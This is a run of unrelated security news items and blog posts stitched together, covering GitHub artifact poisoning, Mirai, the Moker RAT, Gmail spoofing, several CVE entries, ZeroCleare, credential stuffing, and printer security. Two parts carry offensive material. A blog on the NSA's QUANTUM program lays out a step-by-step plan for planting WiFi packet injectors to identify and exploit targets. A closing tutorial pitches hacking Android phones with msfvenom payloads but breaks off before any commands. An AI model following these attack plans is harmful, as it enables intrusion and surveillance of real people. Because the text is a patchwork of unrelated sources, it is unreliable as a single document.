The reference “action” (script) provided by GitHub for downloading artifacts does not support cross-workflow artifact downloading, but reusing artifacts generated by different workflows as input to subsequent build steps is a common use case for software projects. That’s why developers create their own custom scripts that rely on the GitHub Actions API to use more complex filtering to download artifacts, such as those created by specific workflow files, specific users, specific branches, etc.
The problem discovered by Legit Security is that the API does not differentiate between artifacts uploaded by forked repositories and base repositories, so if a download script filters artifacts generated by a specific workflow file from a specific repository, the API will serve the latest version of the artifacts generated by that file, But this could be a malicious version automatically generated through a pull request operation from a forked version of the repository.
“Simply put: In a vulnerable workflow, any GitHub user can create a branch that builds an artifact,” the researchers said. “This artifact is then injected into the original repository build process and its output is modified. This is another form of software supply chain attack where the build output is modified by the attacker.
Researchers discovered four custom actions developed by the community to download all vulnerable artifacts. One of them is listed as a dependency in over 12,000 repositories.
One of the repositories that uses such custom scripts in one of its workflows is the official repository of the Rust programming language. The vulnerable workflow named ci.yml is responsible for building and testing the repository’s code and uses a custom action to download an artifact named libgccjit.so (a Linux library file), which is provided by a third-party repository. Workflow generation.
All an attacker has to do is fork a third-party repository, modify that repository’s workflow to produce a malicious version of the library, and issue a pull request to the original repository to produce the artifact. If a Rust workflow subsequently introduced a poisoned version of the library, an attacker would be able to execute malicious code in the Rust repository using the workflow’s permissions.
“Once exploited, an attacker could modify repository branches, pull requests, issues, releases, and all entities available for workflow token permissions,” the researchers said.
Users need to implement stricter filtering on artifact downloads
GitHub responded to Legit’s report by adding more filtering capabilities to the API that developers can use to better identify artifacts created by a specific running instance of a workflow (workflow run ID). However, this change cannot be forced into existing implementations without breaking workflows, so users will need to update their workflows with stricter filtering in order to be protected.
Another mitigation is to filter downloaded artifacts by the hash of the commit that generated them, or to exclude artifacts created by pull requests entirely using the exclude_pull_requests option. Legit Security also contacted the author of the vulnerable custom artifact download script they discovered.
“When it comes to supply chain security, the focus has always been on preventing people from contributing malicious code, so every time you make a change in a repository, create a pull request, or make a change request, GitHub has a lot of built-in validation controls,” Legit Security’s Chief Technology Officer Liav Caspi told CSO. “Someone has to approve your code, someone has to merge it, so someone is involved. What we’ve been trying to find are techniques that exploit logic issues where anyone can influence it without review, and I think this is one of those . If anyone knew about this, they might inject the artifact without any approval.”
Typically, Caspi says, a CI pipeline’s workflow will run automatically on a pull request to test the code before manually reviewing it, and if the pull request contains any artifacts that need to be built, the workflow will build it. He said that a sophisticated attacker could create a pull request to build an artifact and then delete the request by closing the commit, and all the noise of activity present in today’s source code repositories would most likely go unnoticed and it would go unnoticed. |
The famous KrebsOnSecurity blog site was taken offline in September of 2016, following a record 620 Gpbs attack launched by a Mirai botnet. This is a milestone in cyber threats in at least three aspects:
- It was one of the biggest DDoS attacks ever recorded
- It was the first DDoS attack executed with Mirai botnet and
- It was the first IoT related DDoS attack in history.
The KrebsOnSecurity attack was soon followed by the second biggest DDoS attack ever (>1Tbps). It was directed at Dyn, a major American DNS provider, in October of 2016. This attack was devastating and created disruption for many major sites, including AirBnB, Netflix, PayPal, Visa, Amazon, The New York Times, Reddit, and GitHub. According to security ratings provider, BitSight, Dyn lost around 8% of their customers after the attack and one can only speculate how much the affected customers lost business during the outage.
So, how was this even possible?
Let’s have a look on Mirai (Japanese: 未来, lit. 'future') first. The botnet malware surfaced online in August 2016. Mirai creates a botnet out of compromised Internet of Things (IoT) devices such as cameras, smart TVs, radios, printers, and even baby monitors. To create the attack traffic, these compromised devices are all programmed to send requests to a single victim. The malware spreads to vulnerable devices by continuously scanning the internet for IoT systems protected by factory default usernames and passwords. It is estimated that there can be even millions of IoT devices in a single botnet.
What makes IoT devices so interesting to online criminals?
According to a Radware blog, there are a number of reasons:
- Low-hanging fruit as embedded devices are easily exploited (e.g., default credentials, exposed services)
- Always-on devices with 24/7/365 availability and explosive marketplace growth
- Off-the-shelf products with low security standards (often root:root and admin:admin since few end users change this nomenclature once deployed)
- Malware can easily change default passwords, preventing the user from logging in or other attackers from taking control
- Devices are rarely monitored and poorly maintained, allowing hackers to easily shut down or enslave large numbers of IoT devices
- Low cost entry for attackers, as control of thousands of devices can occur for nearly zero cost (i.e. different than the high cost of accessing and controlling servers for more traditional DDoS attacks)
The number of IoT devices is growing rapidly and the problem is getting bigger at the same rate. Gartner estimates that the number of installed device units will grow from 11B in 2018 to 125B in 2030. Consumer devices count to more than 60% of all devices – devices which are traditionally more vulnerable.
Enter the Cyber Security Act
To protect the citizens of EU from cyber threats, the European Commission crafted the Cyber Security Act. It was originally proposed in 2017 as part of a wide-ranging set of measures to deal with cyber-attacks and to build strong cyber security in the EU. And since December 2018, it is now a permanent mandate.
In addition, the Cyber Security Act creates a framework for European Cybersecurity Certificates for products, processes and services that will be valid throughout the EU. This is a groundbreaking development as it is the first internal market law that takes up the challenge of enhancing the security of connected products, Internet of Things devices as well as critical infrastructure through such certificates. For the time being, the act is still optional, but could be made mandatory, if the situation does not change for better.
ENISA has also published baseline security recommendations for IoT, which aims to set the scene for IoT security in the EU.
What is the impact of the act?
The benefits are easy to tell. I can think of three topics, where we will see (hopefully) a change for the better:
- Raising awareness. Companies and consumers need to be educated on cyber security matters and with a set baseline, it is easier to digest.
- Mitigating security threats for consumers and businesses. This is obvious, but once manufacturers start to adhere to the baseline security recommendations, it becomes more difficult to attack IoT devices.
- Consolidating the European certificates to one EU level cert, which is valid in all member states. Manufacturers will face less costs for certifying their products, as now they do not need to certify them in all member states separately.
But I have also some concerns:
If the devices are imported from outside of the EU, how can you tell the certificate is truly valid? What if a manufacturer, which produces the devices outside of the EU decides to fake the certificate and avoid paying for the certification fee? Who will control the imported devices, and can there be sanctions for faking them? Is it even possible to sanction companies outside of the EU? Or is it the company, which imports the devices, who is responsible for making sure the certificates are valid and face sanctions if they are not.
I find it reassuring, that not only the EU is stepping up and improving the situation, but also in many other countries and market areas there are improvements ahead. For example, California passed an IoT cyber security law in 2018 and it will be in effect the 1st of Jan 2020. And I’m certain others will follow.
Another impressive initiative to improve the current situation came from Microsoft, when they introduced Azure Sphere. Sphere offers a platform to build your IoT solution, with end-to-end protection built in. Microsoft even promises to keep your devices, built on the platform, to receive (security) updates for years to come.
As 451 Research puts it: "Azure Sphere is the most significant push by a large technology vendor to holistically improve IoT security".
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Topics: Internet of Things IoT
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A new advanced persistent threat (APT) has been discovered by security researchers. Dubbed Moker, the malware is a remote access Trojan that can evade security measures on Windows PC.
The malware was discovered by Israeli security firm enSilo, who gave the Trojan its name. Researchers discovered it hiding on a customer's network but were not entirely sure how it got there.
The malware creates a new user account in Windows and opens an RDP channel, allowing it to gain complete control over the victim's device. The researchers said that Moker is able to change important system files, modify security settings and own system processes.
The Trojan has a range of features, including the ability to record keystrokes, capture screenshots, monitor internet traffic, as well as exfiltrate files. Interestingly, Moker also includes a control panel, so that the attacker can run malicious programs locally. According to researchers, this feature is designed to mimic a legitimate user, or has been added by the author for experimental purposes, but is still in the development stage.
Worryingly, the malware is also designed to bypass the User Account Control feature in Windows.
Yotam Gottesman, a senior security researcher with enSilo, said the malware hasn't appeared on VirusTotal yet. He added that its detection-evasion measures included encrypting itself and a two-step installation.
“Measures to protect itself from posthumous dissection included evading debugging techniques that are used by researchers, the addition of complex code and purposefully adding instructions to lead researchers in the wrong direction,” he said in a blog post.
Researchers have no real idea who is behind this or how it got onto a client's network. Gottesman said that tests in the lab revealed that under certain circumstances Moker communicated with a server registered in Montenegro.
“The Montenegro-based server was referred by several other domains registered in African countries. It's important to note, however, that these registered domains cannot give an indication of the threat actor's identity or physical location,” he added.
The researchers said that the malware may give other malware creators ideas and encourage them to use similar techniques to avoid detection.
“This case might have been a dedicated attack,” said Gottesman. “However, we do see that malware authors adopt techniques used by other authors. We won't be surprised if we see future APTs using similar measures that were used by Moker (such as bypassing security mechanisms and dissection techniques).”
Jonathan Sander, vice president of product strategy at Lieberman Software, told SCMagazineUK.com that the hardest part in dealing with the new malware called Moker is finding it in the first place.
“Using advanced techniques such as breaking its install into stages and code packing to avoid signature based detection, Moker seems to be designed for stealth. It even avoids the need for calling over the network for every instruction,” he said. “Moker can take commands from a built-in control system, which, perhaps even more frightening, means that the attacker has a whole other route into the systems to manipulate those controls locally.”
He added that Moker isn't groundbreaking so much as it's rare.
“It's rare for attackers to put this much effort into malware these days. Since security is so poor, most attackers can buy pre-made malware or construct cheap knockoffs of well-known attacks and that is more than enough to burst through the doors of any perimeter,” said Sander.
Tony Berning, senior product manager at OPSWAT, told SC that to protect against threats such as Moker it is important to deploy several security layers to each data entry point into the organisation.
“No single anti-malware engine will be able to detect 100 percent of threats. By securing each data workflow using multi anti-malware scanning, and other techniques such as file type filtering and file sanitisation, to block potentially dangerous files and remove embedded threats, the chance that malware can get past an organisation's defences is greatly reduced,” he said.
Sagie Dulce, team leader in ADC at Imperva, told SC that what interested him about the malware is that it seems not to rely on any exploits.
“Many users are already privileged on their own machine, making bypassing UAC mechanism more trivial (it is also possible to simply ask the user for elevation). As much attention as exploits get, the trouble with them is that they are costly, complex, and once patched can potentially ruin the campaign. Not using any exploits could mean that the attack can actually go undetected for longer,” he said.
“This malware proves again that standard security measures (AV, sandboxing etc) fail to address advanced threats. Companies should assume that compromise is inevitable - and focus their money on where it hurts: their data.”
What piqued Gavin Reid's interest was Moker's local control interface. The vice president of threat intelligence at Lancope told SC that “while it is hard to understand the benefit of having a local GUI control panel, this is the first malware sample to use it. Many of the other ‘features' are found in other malware families.” |
Email spoofing is one of the oldest spam techniques in the book. This is when the headers of emails are forged to hide the real address of the sender, with the aim of tricking people into clicking through them, thinking they’re from a trusted source.
Aside from spam and solicitation campaigns, spoofing is also widely used in phishing and malware attacks so it’s one security threat that you will have to look out for.
Usually, an email service’s junk filters do a great job of preventing spoofed emails and spam from hitting a user’s mailbox but of course, there are various ways spammers will try and circumvent this.
One such technique, specifically affecting Google’s Gmail, was recently demonstrated by Renato Marinho, a security researcher from Morphus Labs. According to Marinho, although Gmail’s junk filter adequately blocks most of the junk messages it deems as spam, it won’t filter out spam from a spoofed gmail.com address. These emails may appear to be coming from a valid Gmail address but they are actually originating from somewhere else.
How it works
In a LinkedIn post, Marinho listed the necessary steps his team took for testing a successful Gmail spoof.
First, the spoofed email needs to appear to be coming from a valid and working Gmail address, otherwise, it goes directly to the junk folder. Second, the spammer’s email server (the original source of the spoofed email) must connect to Gmail stating that it wants to deliver a message from said domain but internally, the spammer switches the sender address to the fake Gmail address instead.
Gmail then asks the spam email’s DNS server (again, controlled by the spammer) to check if it can send messages on its behalf. The DNS server says “yes,” of course, and according to the security researcher, with this validation, the spoofed email is delivered to the target’s inbox “with no security warnings, tagged with an important sign (if it’s a usual contact) and with the spoofed sender picture profile, increasing its legitimacy.”
As you can see, it’s simple to think that this Gmail spoofing technique can be used to deliver all sorts of nasty stuff, from phishing emails to poisoned links with embedded malware.
Marinho said he has already informed Google of this issue but the company does not believe that it will be tracked as a security bug since “it doesn’t really affect the confidentiality or integrity of the Gmail users’ data.”
He still believes that it’s an issue worth looking at since users put their trust on reputable services, such as Google, to minimize their risk.
“Generally, our trust on the technology security filters is directly proportional to the reputation of the service provider,” Marinho explained. “The higher our belief on the provider, the lower tends to be our attention to the risks. The main advice here is to revisit this ‘trust logic.’ Even highly reputable services may fail and we need to be careful all the time to avoid risks.”
Interestingly, Marinho said that Yahoo rejected the spoofed messages while Outlook.com flagged them and moved them to the recipient’s spam folder.
How to identify a spoofed Gmail message
To catch spoofed Gmail email messages, Marinho advises users to check the message details carefully, preferably through a web browser. Examine the “via” tag on the sender address and see if it’s coming from a non-Gmail server. Unfortunately, this tag and the security details are not yet viewable on Gmail’s Android and iOS apps yet.
Also, check the full message headers. The headers may sometimes reveal signs of a spoofed message, for example, the real message sender’s address shown in “Return-path:” detail. |
Vulnerabilities > CVE-2015-0213 - Cross-Site Request Forgery (CSRF) vulnerability in Moodle
Multiple cross-site request forgery (CSRF) vulnerabilities in (1) editcategories.html and (2) editcategories.php in the Glossary module in Moodle through 2.5.9, 2.6.x before 2.6.7, 2.7.x before 2.7.4, and 2.8.x before 2.8.2 allow remote attackers to hijack the authentication of unspecified victims.
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Cross Site Identification An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the "remember me" feature to keep his or her session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing). In one example of an attack, an attacker may post a malicious posting that contains an image with an embedded link. The link actually requests identifying information from the social networking site. A victim who views the malicious posting in his or her browser will have sent identifying information to the attacker, as long as the victim had an active session with the social networking site. There are many other ways in which the attacker may get the payload to execute in the victim's browser mainly by finding a way to hide it in some reputable site that the victim visits. The attacker could also send the link to the victim in an e-mail and trick the victim into clicking on the link. This attack is basically a cross site request forgery attack with two main differences. First, there is no action that is performed on behalf of the user aside from harvesting information. So standard CSRF protection may not work in this situation. Second, what is important in this attack pattern is the nature of the data being harvested, which is identifying information that can be obtained and used in context. This real time harvesting of identifying information can be used as a prelude for launching real time targeted social engineering attacks on the victim.
- Cross Site Request Forgery (aka Session Riding) An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.
|NASL family||Fedora Local Security Checks|
|description||The following security notifications have now been made public : ====================================================================== ======== MSA-15-0001: Insufficient access check in LTI module Description: Absence of capability check in AJAX backend script could allow any enrolled user to search the list of registered tools Issue summary: mod/lti/ajax.php security problems Severity/Risk: Minor Versions affected: 2.8 to 2.8.1, 2.7 to 2.7.3, 2.6 to 2.6.6 and earlier unsupported versions Versions fixed: 2.8.2, 2.7.4 and 2.6.7 Reported by: Petr Skoda Issue no.: MDL-47920 CVE identifier: CVE-2015-0211 Changes (master): http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=commit&s=MDL- 47920 ====================================================================== ======== MSA-15-0002: XSS vulnerability in course request pending approval page Description: Course summary on course request pending approval page was displayed to the manager unescaped and could be used for XSS attack Issue summary: XSS in course request pending approval page (Privilege Escalation?) Severity/Risk: Serious Versions affected: 2.8 to 2.8.1, 2.7 to 2.7.3, 2.6 to 2.6.6 and earlier unsupported versions Versions fixed: 2.8.2, 2.7.4 and 2.6.7 Reported by: Skylar Kelty Issue no.: MDL-48368 Workaround: Grant permission moodle/course:request only to trusted users CVE identifier: CVE-2015-0212 Changes (master): http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=commit&s=MDL- 48368 ====================================================================== ======== MSA-15-0003: CSRF possible in Glossary module Description: Two files in the Glossary module lacked a session key check potentially allowing cross-site request forgery Issue summary: Multiple CSRF in mod glossary Severity/Risk: Serious Versions affected: 2.8 to 2.8.1, 2.7 to 2.7.3, 2.6 to 2.6.6 and earlier unsupported versions Versions fixed: 2.8.2, 2.7.4 and 2.6.7 Reported by: Ankit Agarwal Issue no.: MDL-48106 CVE identifier: CVE-2015-0213 Changes (master): http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=commit&s=MDL- 48106 ====================================================================== ======== MSA-15-0004: Information leak through messaging functions in web-services Description: Through web-services it was possible to access messaging-related functions such as people search even if messaging is disabled on the site Issue summary: Messages external functions doesn|
|reporter||This script is Copyright (C) 2015-2020 and is owned by Tenable, Inc. or an Affiliate thereof.|
|title||Fedora 21 : moodle-2.7.5-1.fc21 (2015-1751)| |
Middle Eastern oil and gas companies are experiencing a new wave of cyberattacks, IBM X-Force says in a new report published this month.
X-Force, IBM’s security unit, has dubbed this new attack “ZeroCleare” and says in the report that the design and implementation of the attack is “likely [a] collaboration between Iranian state-sponsored groups” designed to either “degrade, disrupt, deceive, or destroy the device/data.”
In a region like the Middle East where oil and gas companies make up a large proportion of the economy, targeting these industries with such an attack can potentially put the entire region’s economy at risk. And while this most recent attack didn’t necessarily devastate the region’s economy just yet, it did successfully infiltrate a number of Windows computers and related servers in these industries.
To do this, the malware used a method not dissimilar to how the Greeks invaded Troy. But instead of a wooden horse, ZeroCleare used an authenticated driver to gain access to the system while secretly bringing in a non-authenticated, malicious driver that then released the malware’s destructive program called “ClientUpdate.exe.”
It’s a generic name, but this program is responsible for wiping the systems’ Master Boot Record (MBR), which helps a physical disk locate a computer’s main storage, and damaging partitions put in place to separate data. Unlike other types of malware that might aim to plant new information on a system, this class of malware (fittingly called a wiper) differs because its goal is instead to wipe the hard drives of infected computers.
This approach is not new. In fact, it has been used before to target Middle Eastern oil and gas companies.
The X-Force report says that ZeroCleare is fairly similar in design and aim to a series of malware attacks that targeted the region starting in 2012 called Shamoon. Both approaches aimed to overwrite the computer’s MBR and used a similar Trojan Horse approach for the infiltration. However, X-Force reports that ZeroCleare was still unique enough that it can be classified as a separate kind of attack instead of a new generation of Shamoon.
The report writes that while destructive cyberattacks are possible anywhere in the world, there is a rising concern in relation to attacks like these on energy and industrial sectors — especially in countries dependent on those industries like the Middle East and Europe.
And because of the international importance of such industries, the report says that the effects of these attacks can be felt even beyond the targeted regions.
“Destructive cyberattacks against energy infrastructure in this arena therefore represent a high-impact threat to both the regional and international markets.”
Even more, when it comes to the state largely sponsoring these attacks, the report says that that this Iranian malware is is not only destructive but is also being used as a way to evade sanctions as well as conduct war-like activity.
“The use of cyber-based weapons in lieu of conventional military tactics presents Iran, in this case, with a low-cost, and potentially non-attributable means of conducting hostile, and even warlike activity. With attribution to one specific group becoming a challenge nowadays, working under the cyber cloak of anonymity can also allow Iran to evade sanctions and preserve its relations with international players who may support its economic and nuclear energy interests.”
So, is all hope lost?
Just as there will always be hackers, there will always be ways to incrementally secure your data as well (at least until the next attack….) In its report, X-Force suggests a handful of ways to better secure data, including using treat intelligence, multi-layer security controls, and keeping offline backups of sensitive data. |
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier, 6 Update 35 and earlier, 5.0 Update 36 and earlier, 1.4.2_38 and earlier, and JavaFX 2.2 and earlier allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors related to 2D. Per: http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html
"Applies to client and server deployment of Java. This vulnerability can be exploited through untrusted Java Web Start applications and untrusted Java applets. It can also be exploited by supplying data to APIs in the specified Component without using untrusted Java Web Start applications or untrusted Java applets, such as through a web service." |
We’ve learned a bit more about the NSA’s QUANTUM program, their technique that turned the Internet backbone into a weapon. The agreement with Sweden to test QUANTUM attacks has formalized the terms somewhat: a “tip” is a redirection, while a successful “shot” is an exploitation. Out of 100 tips in their experimental deployment, this generated only 5 shots. Now either this experiment didn’t use a very good exploit, so only 5% of attempted victims were vulnerable, or tips represented just preliminary targeting, and only 5% of the possible victims were deemed worthy of attack.
It could easily have been the former: if the attack was simply using an old, known exploit, its quite conceivable that only a few would fall victim to the NSA’s shots. Yet what if its the latter? How could the NSA turn a “this might be someone worth exploiting” tip into a “we should exploit this person” shot? Enter mass-QUANTUMCOOKIE exploitation.
We already know that the NSA will use LinkedIn or Slashdot (or, really, any page which contains user identification in the clear) for QUANTUM targeting. A QUANTUM wiretap sees both requests and replies, but only can act on requests. So it sees user cookies in every web request, but it needs to know the user associated with the cookies to know when to attack.
Thus the process is a two-part affair, and works for any site which reveals the logged-in user over unencrypted HTML. The first request reveals the cookies, and the reply indicates the user: a LinkedIn page reveals the LinkedIn name and user ID, a Slashdot page reveals the Slashdot user, a Youtube page reveals the Google username and email address, battle.net reveals the user’s WoW account, etc… This enables the QUANTUM wiretap to associate cookies to users. When it sees a subsequent request from a target, it now knows to tip the victim over to be shot.
Yet this seems like a lot of waiting: there are undoubtedly tons of traffic that the NSA would categorize as “perhaps worth shooting”, but by waiting, they might miss the opportunity for exploitation. There is a solution, a target identification tip. How could this work?
- The QUANTUM wiretap sees a request from a “perhaps worth shooting” target. It takes a small, inconsequential fetch and injects a tip redirecting the victim to a user-identification script running on an NSA server.
- The victim’s browser fetches the user-identification script and starts executing it. This script opens up a series of hidden iframes, elements in the web browser that the user doesn’t see, which cause the browser to connect to a host of user identifying sites such as Youtube, LinkedIn, etc.
- Back at the QUANTUM wiretap, it sees all these requests, records the cookies, and waits for the replies. Thus for any logged-in site, the wiretap now is able to map cookies to username, allowing the QUANTUM wiretap to know who should be shot based on their cookies.
- Back on the victim’s browser, the user identification script waits for about 10 seconds, and then opens up a second set of hidden iframes to the sites. The browser now reconnects to all these sites, enabling the QUANTUM wiretap to execute its shots.
- Finally, the QUANTUM wiretap sees the second set of requests and, if they are from people in the “worth shooting” category, it executes a packet injection attack on one of these requests, tipping them over and letting them get shot.
We don’t know if the NSA uses this technique, but I’d be shocked if they didn’t. It enables them to turn “perhaps worth shooting” into “worth shooting” into “shot” with laser-guided precision, while leaving very little trace in the process. It also explains how 100 tips turned into just 5 shots.
Of course, the NSA isn’t the only institution able to use this technique. Any country can use it within their own borders, and since both political and economic targets are now in-scope, everyone traveling overseas needs to assume that, if the local intelligence agency wants to attack them by name, they will be a victim.
Yet foreign intelligence agencies can do even better. Want to target every Senator, every DC staffer, and every lobbyist by name? Do you have their Gmail addresses, LinkedIn profile, and/or Warcraft player names? Have a couple of “diplomats” you can afford to get kicked out of the country on the very remote chance your caught? If so, this one is for you. So the DGSE (the French version of the NSA) should listen up.
- Deploy a bunch of Raspberry Pi boxes with WiFi around Washington DC, in the local Starbucks, hidden in hotels, and anywhere else there is free WiFi. Have them join the open WiFi networks and start listening in.
- Program these Raspberry Pi boxes to do user-identification packet injection on any visitor which might be of interest.
- When the injector identifies a user, it queries the command and control server to see if the user is on the target list (hint, you too can use ghost servers for command and control).
- If the user is in-scope, the injector then tips the victim over to your own exploit server to be shot with the exploit and malcode of your choice.
Now you aren’t going to get onto any classified systems this way, but there is a ton of unclassified material that will make juicy reading. The appointment calendars and contact lists alone will be golden. Your total hardware cost is a few thousand dollars (about $50 per Starbucks), the odds of you being identified are slim, and even if you are caught, just repeat after me:
It wasn’t us. And even if it was, you started it. I believe your saying is ‘sauce for the goose’
Of course, once you have an infected computer, if it moves into a different network, it too can become a packet-injecting attacker, identifying and exploiting possible victims. Spread the love from Starbucks to the conference room.
And why limit the fun to major intelligence services? Small countries can contact their local Vupen and Gamma International sales representatives for details (yeah, it will cost more: Raspberry Pis are cheap, but malcode is expensive, but hey), while criminal gangs can do the same thing, either also using deployed boxes or leveraging an existing botnet.
The Internet is now a very dangerous place: all unencrypted traffic is a potential attack vector! The NSA, by their broad hacking, has painted a huge target on our backs. Targets that, for anyone who wants to, they can illuminate and attack.
Update 12/30/2013: A new slide deck possibly explains the inefficiency: the initial QUANTUM implementation was simply poorly designed! Rather than implementing the attack logic at the wiretaps, the wiretaps would forward information to remote TURBINE command-and-control servers, adding hundreds of crucial milliseconds.
This easily explains why 100 attempts would only result in 5 successful shots: if the test deployment in question used the old, not well designed QUANTUM architecture you’d expect such a failure rate.
As recently as June 2011, a better design (QFIRE), where the attack logic is colocated with the wiretaps, was only in development. Its unclear whether the improved system is even operational, let alone widely deployed. |
An issue was discovered in the com.dropbox.android application 98.2.2 for Android. The FingerprintManager class for Biometric validation allows authentication bypass through the callback method from onAuthenticationFailed to onAuthenticationSucceeded with null, because the fingerprint API in conjunction with the Android keyGenerator class is not implemented. In other words, an attacker could authenticate with an arbitrary fingerprint. NOTE: the vendor indicates that this is not an attack of interest within the context of their threat model, which excludes Android devices on which rooting has occurred
CWE-287 - Improper Authentication
Improper (or broken) authentication attacks are widespread, and have accounted for many of the worst data breaches in recent years. Improper authentication attacks are a class of vulnerabilities where an attacker impersonates a legitimate user by exploiting weaknesses in either session management or credential management to gain access to the user’s account. This can result in disclosure of sensitive information, and can lead to system compromise, theft, identity theft, and fraud. |
Online Retailers Pummeled with Credential Stuffing Attacks
Last year may go down as the Year of Stuffing Attacks - and we’re not talking about a Thanksgiving food fight.
According to the content delivery network Akamai Technologies, 28 billion cyberattacks were launched against e-commerce retailers around the globe in the last eight months of 2018, and of those, over 10 billion used an approach called “credential stuffing.”
Credential stuffing attacks are based on the premise that many people use identical login credentials for many of the web sites they visit. In other words, they have the same username and password for their email, bank, Amazon, Netflix, and other accounts. In those cases, if an attacker has the right credentials for one account, they’re able to access all of them.
In a credential stuffing attack, the perpetrator uses stolen credentials for one site, hoping to get lucky and gain entry into a few. By using bots (scripted AI programs that mimic the actions of a human web surfer), criminals can try those credentials across thousands of sites with just one click.
According to Akamai, criminals are “counting on the fact that people recycle their passwords across a number of different accounts. When this happens, a compromised set of credentials from one web site quickly translates into dozens of others.”
You can think of credential stuffing as the inverse of a brute force attack – the other common variant of account takeover. The brute force approach tries to gain access to a single website by throwing thousands of login variations at it whereas credential stuffing uses a single, known set of known credentials against as many web sites as they can.
Factors driving the adoption of credential stuffing against e-retailers is that it doesn’t require advanced technical skills to purchase a bot and lists of compromised credentials on the dark web and deploy an attack. In addition, retailers are a preferred target account takeover attempts, because the attackers can gain instant access to merchandise once an account is hacked.
Frameworks like 3-D Secure can help prevent fraud on the merchant side, but it's difficult to protect against unauthorized users gaining access using legitimate login credentials. They can, however, encourage password diversification by enforcing more complex password rules.
For example, a merchant might require a minimum character count of 16, rather than eight, characters. Because most people don't have a 'go-to' password that's 16 or more characters, they will be forced to use a new one.
While such policies may seem like a burden on the customer, applications that generate, store and fill-in complex logins across all of a user's devices, significantly lower the effort bar.
But regardless of what merchants require, using an application like 1Password or LastPass to randomly generate unique passwords for every login is a big step in mitigating consumers' risk of being the victim of a credential stuffing attack. |
Leaky Access Tokens Exposed Amazon Photos of Users
According to new researcher, hackers who have obtained access to Amazon users’ authentication tokens could have taken the opportunity to steal or encrypt personal photos and document. Security researchers report that the Amazon Photos app for Android does not protect user access tokens properly. Due to the exposed tokens, attackers and malicious actors could access personal data belonging to the token holder through a number of different Amazon apps such as Amazon Drive. In addition, this offers attackers the ability to conduct a ransomware attack that could have effects such as permanently deleting photos and documents.
The findings were reported in the fall of last year to Amazon’s Vulnerability Research Program. In December, Amazon announced that the issues had been fully resolved. However, loose tokens still exist. Software suite vendors such as Amazon use access tokens to offer convenience to its users, but this may also present an opportunity for attackers. |
As the society increases its dependency on computers and networks, we are increasingly surrounded by a variety of threats – computer viruses, leakage of personal information, unauthorized access from outside an organization, and more. Addressing this diversity of threats with effective security countermeasures has become a priority for our customers.
Such security threats are not limited to personal computers, servers, or networks. Even basic printers and multifunction products – need countermeasures against the same faced by more sophisticated IT products. As time has progressed MFPs have become information terminals.
You can reduce security threats by considering multifunction copiers as IT equipment and operate them with appropriate diligence. As a forerunner in the field of security countermeasures of multifunction copiers, Ricoh addresses every conceivable security threat:
While the multifunction products can be found over the network, they do not allow the intruder to access their internal features. User authentication and filtering reduce the risk of information leaks via networks.
Although telephone lines connected to devices can be a lead-in for external access, Ricoh's multifunction products are designed not to allow access to the internal networks via telephone lines. People of malicious intent cannot access the internal networks of the company via a telephone line for fax.
Multifunction products exchange critical information with personal computers and servers over networks. Unprotected, this information is exposed to risks of alteration by people with malicious intent who tap into the network. Ricoh's multifunction products can encrypt network communications to reduce those risks.
When multifunction products are installed in an office, they are exposed to security risks of unauthorized operations via the operator panel. Many cases of information leaks are reportedly committed by insiders. Using the user authentication features to properly set up access privileges to individual users reduces those risks. It is important to properly manage and run devices without letting users access the information and functions they do not need.
Multifunction products have a built-in storage device, such as a hard disk drive, for storing address books and accumulated documents. The hard disk drive also contains temporary work images for transmission, reception and printing. If the storage devices are removed, your important information may be read elsewhere. Using the data encryption and overwrite-and-erase functions reduces the risk of information leaks.
If a document is left on the tray of a multifunction copier, it can be taken away or viewed by unauthorized persons. It can be a source of information leakage. The risk can be minimized by using the user authentication and locked printing features. Make sure that users make just as many copies as required and that they do not leave hardcopy output unattended on the tray.
Sometimes one can make copies of confidential information without knowing it, and the information can be spread and taken away. Sometimes one can fax a document to the wrong destination. Carelessness can be a source of information leaks. Ricoh's multifunction copiers feature functions that can help minimize the risk of information leaks due to carelessness of the user.
Ensuring device security requires security settings suitable for the specific operating environment.
To prevent malicious attackers from causing damage, read the following instructions and properly install and set up the device:
＜Before using the device＞
＜Upon terminating the use of the device＞
Make sure that none of your information assets are left inside the device. To prevent information leakage, erase the information when when returning it, disposing of it, or transferring it to another environment.
Ricoh offers functions and services for erasing information assets. Use those functions and services as necessary. For more information, contact your nearest Ricoh dealer. |
Want to hack any device well you can do it, however, this article is only for Learning purposes and is highly recommended not to use it for any malicious activity.
Today we are going to learn hacking of any device with Payload. The Payload can be used to hack any device. Today we will focus on Android phones. So we are going to use Msfvenom with Fatrat and Ngrock for assigning a port.
What is Metasploit?
The Metasploit framework is one of the most popular and powerful tools that cybercriminals, as well as ethical hackers, use to probe systematic vulnerabilities on networks. Since it’s an open-source framework, it can be easily customized and used with various operating systems.
Also, Read: How To Hack Wifi Just In 5 Minutes
With this tool, the pen testing team can use ready-made or custom code and introduce it into a network to probe for weak spots.
Metasploit is used by everyone from the evolving field of DevSecOps pros to hackers. It’s helpful to anyone who needs an easy to install, reliable tool that gets the job done regardless of which platform or language is used. The software is popular with hackers and widely available, which reinforces the need for security professionals to become familiar with the framework even if they don’t use it.
Metasploit now includes more than 1677 exploits organized over 25 platforms, including Android, PHP, Python, Java, Cisco, and more. The framework also carries nearly 500 payloads, some of which include:
- Command shell payloads that help users to run scripts or random commands.
- Dynamic payloads
- Meterpreter payloads that allow users to commandeer device monitors using VMC
- Static payloads that enable port forwarding and communications between networks
